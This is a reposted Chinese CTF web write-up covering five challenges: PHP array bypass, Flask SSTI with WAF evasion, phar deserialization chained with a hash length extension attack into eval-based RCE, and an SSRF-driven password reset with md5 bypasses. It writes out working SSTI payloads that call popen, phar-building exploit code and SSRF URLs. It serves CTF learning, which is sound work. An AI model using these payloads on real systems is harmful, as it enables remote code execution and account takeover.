CN-fnst::CTF Web

文章目录

    • ezphp
    • ez_python
    • comment_me
    • filechecker_revenge
    • i_am_eeeeeshili

ezphp

直接数组绕过, 执行命令

GET: usn[]=1&usn1[]=1&sign=env
POST: pwd[]=2&pwd1[]=2

在这里插入图片描述

ez_python

file参数任意文件读取

读取源码: ?file=app.py

    from flask import Flask, request, render_template_stringfrom flask_limiter import Limiterfrom flask_limiter.util import get_remote_addressimport wafapp = Flask(__name__)# Rate limiting: 300 requests per day, 75 per hourlimiter = Limiter(get_remote_address, app=app, default_limits=["300 per day", "75 per hour"])@app.route('/')@limiter.exempt  # Exempt the index route from rate limitingdef index():file_path = request.args.get('file')if file_path and "proc" in file_path:return "只过滤了proc,别想用这个了,去读源码", 200  # Message in Chinese: "Only filtered 'proc', don't think about using this, read the source code"if file_path:try:with open(file_path, 'r') as file:file_content = file.read()return f"{file_content}"except Exception as e:return f"Error reading file: {e}"return "Find the get parameter to read something"@app.route('/shell')@limiter.limit("10 per minute")  # Rate limit: 10 requests per minutedef shell():if request.args.get('name'):person = request.args.get('name')if not waf.waf_check(person):mistake = "Something is banned"return mistaketemplate = 'Hi, %s' % personreturn render_template_string(template)some = 'who you are?'return render_template_string(some)@app.errorhandler(429)  # Custom handler for 429 Too Many Requestsdef ratelimit_error(e):return "工具? 毫无意义,去手搓", 429  # Message in Chin审计一下代码, 很明显的ssti模板注入, 根据前面的 import waf 可知道存在一个waf文件, 读取它 ?file=waf.pydef waf_check(value):dangerous_patterns = ['os', 'set', '__builtins__', '=', '.', '{{', '}}', 'popen', '+', '__']for pattern in dangerous_patterns:if pattern in value:return Falsereturn True

简单绕过一下就行, 有挺多种方法的
用attr绕过点 . \x5f\x5f 编码绕过__

?name={%print(%22%22|attr(%22\x5f\x5fclass\x5f\x5f%22)|attr(%22\x5f\x5fbase\x5f\x5f%22)|attr(%22\x5f\x5fsubclasses\x5f\x5f%22)()|attr(%22\x5f\x5fgetitem\x5f\x5f%22)(132)|attr(%22\x5f\x5finit\x5f\x5f%22)|attr(%22\x5f\x5fglobals\x5f\x5f%22)|attr(%22\x5f\x5fgetitem\x5f\x5f%22)('po''pen')("cat f1ag_H3re11")|attr("read")())%}

comment_me

h2=1&p={{''['__class__']['__base__']['__subclasses__']()[117]['__init__']['__globals__']['popen']('env')['read']()}}

filechecker_revenge

审计一下代码, 很明显看到class.php存在反序列化, 且存在文件上传的接口, 那么就可以想到是利用phar进行反序列化

<?phpclass file
{public $name;public $data;public $ou;private $mymd5;public function __wakeup(){// TODO: Implement __wakeup() method.if (isset($_COOKIE['md5me']) && isset($_COOKIE['yourname'])){$this->mymd5 = md5(md5(file_get_contents('/flag')).$_COOKIE['yourname']);$yourmd5 = $_COOKIE['md5me'];if ($_COOKIE['yourname'] === "hacker"){$this->data = "you are a hacker";echo "Take your md5 and turn right when you go out. ".$this->mymd5;}else if ($this->mymd5 === $yourmd5){echo "goooooooooooooooooooooooood";}}}public function __call($name, $arguments){return $this->ou->b='asdasdasd';}public function __destruct(){if (@file_get_contents($this->data) == $this->mymd5) {$this->name->function();}}
}class data
{public $a;public $oi;public function __set($name, $value){// TODO: Implement __set() method.$this->yyyou();return "yes";}public function yyyou(){if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $this->oi)){eval($this->oi);}}
}

进行一个反序列化, 进入到__wakeup 魔术方法里面,需要让 $this->mymd5 === $yourmd5
才不会进入到前面的if里面 使data被赋值, 从而使得data参数可控
这里需要用到hash长度扩展攻击, 先让 yourname=hacker 拿到md5值, 再利用工具得到mymd5的值从而绕过

先构造一个phar文件

<?php
class file
{public $name;public $data;public $ou;private $mymd5;public function __wakeup(){// TODO: Implement __wakeup() method.if (isset($_COOKIE['md5me']) && isset($_COOKIE['yourname'])){$this->mymd5 = md5(md5(file_get_contents('/flag')).$_COOKIE['yourname']);$yourmd5 = $_COOKIE['md5me'];if ($_COOKIE['yourname'] === "hacker"){$this->data = "you are a hacker";echo "Take your md5 and turn right when you go out. ".$this->mymd5;}else if ($this->mymd5 === $yourmd5){echo "goooooooooooooooooooooooood";}}}public function __call($name, $arguments){return $this->ou->b='asdasdasd';}public function __destruct(){if (@file_get_contents($this->data) == $this->mymd5) {$this->name->function();}}
}$phar = new Phar("phar1.phar");
$phar->startBuffering();
$phar->setStub('GIF89a' . '<?php __HALT_COMPILER();?>');$a=new file();
$phar->setmetadata($a);
$phar->addFromString("1.txt",'test');
$phar->stopBuffering();

然后因为有waf会检测, 还需要将生成的phar文件后缀改成gif这种图片文件, 然后上传,得到文件路径

upload/8ba2c5cf9cb4d538c3793a25e820ab4a.jpg

index.php 存在一个filepath参数 , 可以操作进行phar的反序列化, 存在waf

preg_match('/^(ftp|zlib|data|glob|phar|ssh2|compress.bzip2|compress.zlib|rar|ogg|expect)(.|\\s)*|(.|\\s)*(file|data|\.\.)(.|\\s)*/i', $filepath))

用filter 过滤器绕过一下

filepath=php://filter/read=convert.base64-encode/resource=phar://./upload/8ba2c5cf9cb4d538c3793a25e820ab4a.jpg

Cookie也需要有相应的值

Cookie: yourname=hacker;md5me=1

然后就可以拿到这个md值了

219c25bffecaa799cbf37c9838e9c92d

在这里插入图片描述

然后接下来就需要hash长度扩展攻击了

在这里插入图片描述得到新hash
612928eb681f7cb638857d11bca68a09
然后就是构造链子进入到eval里面进行 无参数RCE

<?phpclass file
{public $name;public $data;public $ou;private $mymd5;public function __wakeup(){// TODO: Implement __wakeup() method.if (isset($_COOKIE['md5me']) && isset($_COOKIE['yourname'])){$this->mymd5 = md5(md5(file_get_contents('/flag')).$_COOKIE['yourname']);$yourmd5 = $_COOKIE['md5me'];if ($_COOKIE['yourname'] === "hacker"){$this->data = "you are a hacker";echo "Take your md5 and turn right when you go out. ".$this->mymd5;}else if ($this->mymd5 === $yourmd5){echo "goooooooooooooooooooooooood";}}}public function __call($name, $arguments){return $this->ou->b='asdasdasd';}public function __destruct(){if (@file_get_contents($this->data) == $this->mymd5) {$this->name->function();}}
}class data
{public $a;public $oi;public function __set($name, $value){// TODO: Implement __set() method.$this->yyyou();return "yes";}public function yyyou(){if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $this->oi)){eval($this->oi);}}
}$phar = new Phar("phar17.phar");
$phar->startBuffering();
$phar->setStub('GIF89a' . '<?php __HALT_COMPILER();?>');$a=new file();
$a->data='data://text/plain,612928eb681f7cb638857d11bca68a09';
$a->name=new file();
$a->name->ou=new data();
$a->name->ou->oi='if(chdir(chr(ord(strrev(crypt(serialize(array())))))))print_r(scandir(getcwd()));';
//查看根目录$phar->setmetadata($a);
$phar->addFromString("1.txt",'test');
$phar->stopBuffering();

可以看到根目录的情况
在这里插入图片描述

然后改一下读取文件
if(chdir(chr(ord(strrev(crypt(serialize(array())))))))show_source(array_rand(array_flip(scandir(getcwd()))));
有点奇怪就是, 好像没读到根目录文件, 读的网站目录的文件, 不过思路差不多就是这样了
在这里插入图片描述

i_am_eeeeeshili

登录界面随便输入, 抓包可以看到有个file参数, 尝试文件读取, 发现有限定
在这里插入图片描述那么包含一下flag
在这里插入图片描述

if (str_replace("\", "/", __FILE__)== $_SERVER["SCRIPT_FILENAME"]) {header("HTTP/1.0 403 Forbidden");die("前面的区域以后再探索吧!");
}
.........
$client_ip = $_SERVER["REMOTE_ADDR"];
$server_ip = $_SERVER["SERVER_ADDR"];
if ($client_ip === $server_ip) {if(md5($_GET["a"]) === md5($_GET["b"])){if ($_GET["c"] != $_GET["d"] && md5($_GET["c"]) == md5($_GET["d"])){if(substr(md5($_GET["e"]), 0, 5) === "9331c"){$file = fopen("./ffflllaaaggg.php", "w");fwrite($file, "<?php \n echo $flag".";");fclose($file);}}}
} else {$code = '';highlight_string($code);echo '<script>alert("错啦错啦错啦!");</script>';header('Location: login.html');die();
}

限定ip, 可以想到是ssrf, 以及后面还有一些相应的绕过

注册一个账号登录进去看看, 可以发现有一个check网站的, 可以联想到上面的这种ssrf

在这里插入图片描述

那么就查看一下flag, 发现又有限制
在这里插入图片描述
只能饿饿饿饿饿势力操作, 说明是登录的问题, 要用相应的账号登录才能查看, 而不是我们随便注册的一个账号(感觉这里有点抽象, 账号是eeeeeshil)
尝试去修改一下eeeeeshil它的账号密码
在这里插入图片描述

$client_ip = $_SERVER["REMOTE_ADDR"];
$server_ip = $_SERVER["SERVER_ADDR"];
if ($client_ip === $server_ip) {if ($_GET["KAF"] !== "1a" && (int)$_GET["KAF"] == "1a"){...}
} else {echo 'xxx'echo '<script>alert("坏蛋改不了一点密码!");</script>';die();
}

php的弱类型比较, 利用登录进去的账号去检测这个url, 绕过第一步限制本地访问

check_http://127.0.0.1/check.php?file=.%2Fmodify&account=eeeeeshili&password=123456&KAF=1

修改密码
在这里插入图片描述然后用这个账户登录进去
后面就是前面那里的一下md5的绕过, 用数组就行, 还有一个就是需要爆破一下, 匹配它的md5的前5位是9331c

check_http://127.0.0.1/check.php?file=./flag&a[]=1&b[]=2&c[]=1&d[]=2&e=2000864773

执行成功之后直接访问文件就行
在这里插入图片描述

参考官方wp: https://mp.weixin.qq.com/s?__biz=Mzk0OTUwNTU5Nw==&mid=2247488353&idx=1&sn=8067de08d2a971b51d9a9f23145c3b48&chksm=c206ff7a38b6157c1aa502051dc9e7e833c7c041ff3730e3e2f355174bc16c795756028bd729&mpshare=1&scene=23&srcid=1216KYzAQOs538HwmnvAkiNX&sharer_shareinfo=2de827c3a0748f7d4fe1865d00de5b65&sharer_shareinfo_first=2de827c3a0748f7d4fe1865d00de5b65#rd

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/492073.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

AI自我进化的新篇章:谷歌DeepMind推出苏格拉底式学习,语言游戏解锁无限潜能

各位AI爱好者、技术研究者&#xff0c;大家好&#xff01;今天我们来聊聊一个令人兴奋的AI研究新进展——谷歌DeepMind推出的“苏格拉底式学习”方法。这项研究的独特之处在于&#xff0c;它让AI在没有外部数据的情况下&#xff0c;通过“语言游戏”实现自我进化&#xff0c;这…

《类和对象:基础原理全解析(上篇)》

目录 一、浅谈面向过程和面向对象二、C 中的结构体&#xff08;struct&#xff09;1. C 中 struct 的使用 三、C 中的类&#xff08;class&#xff09;四、类的封装性1. 类成员的权限控制关键字2. 权限控制关键字的使用 五、类的六大默认成员函数介绍六、构造函数1. 使用构造函…

电子应用设计方案-59:智能电动床系统方案设计

智能电动床系统方案设计 一、引言 智能电动床作为一种高端家居产品&#xff0c;旨在为用户提供更加舒适、便捷和个性化的睡眠体验。本方案将详细介绍智能电动床系统的设计架构、功能特点和技术实现。 二、系统概述 1. 系统目标 - 实现床体的多部位电动调节&#xff0c;满足不…

电商环境下的财务ERP系统架构

先介绍一下自己的工作经历&#xff0c;2002年开始进入ERP实施行业&#xff0c;专注于O记EBS系统&#xff0c;正好赶上中国经济和信息化高度发展的阶段&#xff0c;先后实施过很多大国企和民企的大型ERP项目&#xff0c;在实施过程中逐渐对ERP系统的架构、模块设计有更深入的认识…

【WRF教程第3.2期】预处理系统 WPS详解:以4.5版本为例

预处理系统 WPS 详解&#xff1a;以4.5版本为例 WPS 嵌套域&#xff08;WPS Nested Domains&#xff09;USGS 和 MODIS 土地利用重力波拖拽方案静态数据&#xff08;Gravity Wave Drag Scheme Static Data&#xff09;1. 什么是重力波拖拽方案&#xff08;GWDO&#xff09;静态…

在Proteus软件仿真STM32F103寄存器方式PID调速电机

因为电脑中只装了IAR&#xff0c;所以本次编译环境就只能是IAR&#xff0c;所用软件版本是9.32.1。 本次仿真为&#xff0c;纯手写代码&#xff0c;不用任何库&#xff0c;包括启动文件也是手写。 首先是启动文件&#xff0c;该文件是汇编文件&#xff0c;命名为start.s&…

QtitanChart组件——高效、灵活的Qt数据可视化解决方案

在现代应用开发中&#xff0c;数据可视化已经成为不可或缺的一部分。无论是商业分析工具、财务报表、工程图表&#xff0c;还是科学实验数据展示&#xff0c;如何以直观、易理解的方式展示数据&#xff0c;往往决定了软件的可用性与用户体验。对于Qt开发者来说&#xff0c;Qtit…

YOLOv11融合[CVPR2024]Starnet中的star block特征提取模块

YOLOv11v10v8使用教程&#xff1a; YOLOv11入门到入土使用教程 YOLOv11改进汇总贴&#xff1a;YOLOv11及自研模型更新汇总 《Rewrite the Stars》 一、 模块介绍 论文链接&#xff1a;https://arxiv.org/abs/2403.19967 代码链接&#xff1a;https://github.com/ma-xu/Rewri…

LabVIEW农机自主导航监控系统

随着现代农业技术的快速发展&#xff0c;自主导航农机的需求日益增加&#xff0c;提高作业效率和减少劳动成本成为农业现代化的关键目标。本文介绍了一个基于LabVIEW的农机自主导航监控系统的开发案例&#xff0c;该系统通过先进的传感器与控制技术&#xff0c;实现农机在田间作…

JAVA:代理模式(Proxy Pattern)的技术指南

1、简述 代理模式(Proxy Pattern)是一种结构型设计模式,用于为其他对象提供一种代理,以控制对这个对象的访问。通过代理模式,我们可以在不修改目标对象代码的情况下扩展功能,满足特定的需求。 设计模式样例:https://gitee.com/lhdxhl/design-pattern-example.git 2、什…

番外篇 | Hyper-YOLO:超图计算与YOLO架构相结合成为目标检测新的SOTA !

前言:Hello大家好,我是小哥谈。Hyper-YOLO,该方法融合了超图计算以捕捉视觉特征之间复杂的高阶关联。传统的YOLO模型虽然功能强大,但其颈部设计存在局限性,限制了跨层特征的融合以及高阶特征关系的利用。Hyper-YOLO在骨干和颈部的联合增强下,成为一个突破性的架构。在COC…

php基础:正则表达式

1.正则表达式 正则表达式是用于描述字符排列和匹配模式的一种语法规则。它主要用于字符串的模式分割、匹配、查找及替换操作。到目前为止&#xff0c;我们前面所用过的精确&#xff08;文本&#xff09;匹配也是一种正则表达式。 在PHP中&#xff0c;正则表达式一般是由正规字…

Postman接口测试:全局变量/接口关联/加密/解密

&#x1f345; 点击文末小卡片&#xff0c;免费获取软件测试全套资料&#xff0c;资料在手&#xff0c;涨薪更快 全局变量和环境变量 全局变量&#xff1a;在postman全局生效的变量&#xff0c;全局唯一 环境变量&#xff1a;在特定环境下生效的变量&#xff0c;本环境内唯一 …

vue响应式数据-修改对象的属性值,视图不更新

如图&#xff1a; 一&#xff1a;问题是&#xff1a; 我把数据处理后能console.log()打印出来&#xff0c;但是页面的内容不能同步的更新渲染&#xff1b; 二&#xff1a;要求&#xff1a; 在数组循环列表里面&#xff0c;我点击单个的item按钮时&#xff0c;需要实时加载进度…

configure错误:“C compiler cannot create executables“

执行./configure命令出现如下奇怪的错误&#xff0c;百思不得姐&#xff1a; ./configure命令的日志文件为config.log&#xff0c;发生错误时&#xff0c;该文件的内容&#xff1a; This file contains any messages produced by compilers while running configure, to aid d…

【Java学习笔记】多线程基础

并行&#xff1a;同一时刻&#xff0c;多任务同时进行 多任务分别进行 一、线程相关概念 1.程序 是为完成特定任务、用某种语言编写的一组指令的集合。 简单的说:就是我们写的代码 2.进程 &#xff08;1&#xff09;进程指的就是运行中的程序&#xff0c;比如我们使用QQ,就…

PyTorch基础入门

目录 前言一、[张量的广播&基本运算](https://www.bilibili.com/video/BV1Gg411u7Lr/?spm_id_from333.999.0.0)1. 张量的广播特性2. 逐点&规约&比较运算 二、张量的线性代数运算1. BLAS & LAPACK2. 矩阵形变及特殊矩阵构造3. 矩阵基本运算4. 矩阵的线性代数运…

XXE靶机攻略

XXE-Lab靶场 1.随便输入账号密码 2.使用bp抓包 3.插入xml代码&#xff0c;得到结果 xxe靶机 1.安装好靶机&#xff0c;然后输入arp-scan -l&#xff0c;查找ip 2.输入ip 3.使用御剑扫描子域名 4.输入子域名 5.输入账号密码抓包 6.插入xml代码 7.使用工具解码 8.解码完毕放入文…

计算机知识笔试

一、计算机网络 1.网络分类 树型、总线型、环型一般是局域网所用的拓扑结构&#xff0c;广域网和远程计算机网络普遍采用网状拓扑结构。 2.OSI模型各层功能 比特、帧、端到端 3.传输层协议 TCP:传输控制协议 UDP:用户数据报协议 传输层、可靠、连接 4.网络层协议 IP协议是…

设计规规范:【App 配色】

文章目录 引言I App 配色组成色彩象征 & 联想II 知识扩展设计流程图UI设计交互设计UI交互设计引言 设计规范,保持设计一致性,提高设计效率。宏观上对内统一,管理与合作变得容易。 按类型管理颜色、文本样式、图标、组件(symbol)。 蓝湖设计规范云 https://lanhuapp.co…